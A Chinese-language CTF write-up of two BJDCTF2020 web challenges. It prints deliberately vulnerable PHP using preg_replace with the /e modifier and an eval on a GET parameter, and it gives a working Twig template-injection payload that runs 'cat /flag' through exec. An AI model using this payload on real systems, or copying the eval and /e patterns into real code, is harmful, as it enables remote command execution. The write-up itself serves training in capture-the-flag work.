2.13 [BJDCTF2020]ZJCTF,不过如此&Cookie is so stable

ZJCTF,不过如此

打开网页通过阅读源码,知道我们要读到next.php的源码,还要使text文件的内容为”I have a dream”,所以可以使用php伪协议进行写入和读取。

得到next.php的源码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
<?php
$id = $_GET['id'];
$_SESSION['id'] = $id;

function complex($re, $str) {
return preg_replace(
'/(' . $re . ')/ei',
'strtolower("\\1")',
$str
);
}


foreach($_GET as $re => $str) {
echo complex($re, $str). "\n";
}

function getFlag(){
@eval($_GET['cmd']);
}

用过分析知preg_replace()使用的/e模式可以存在远程执行代码,参考博客,所以我们可以有两种方法进行读取flag。
第一种:利用给的getFlag()函数:

第二种可以通过构造post传参:


Twig模板注入:
在cookie中存在,因为我们分析题目知,题目会把cookie中的user的值返回到登入后的页面中,而且没有进行过滤。
检测是哪种模板注入:输入49显示的是49,而不是7个7,说明是Twig模板注入,可以直接使用payload进行读取:

1
{{_self.env.registerUndefinedFilterCallback("exec")}}{{_self.env.getFilter("cat /flag")}};


#
Your browser is out-of-date!

Update your browser to view this website correctly. Update my browser now

×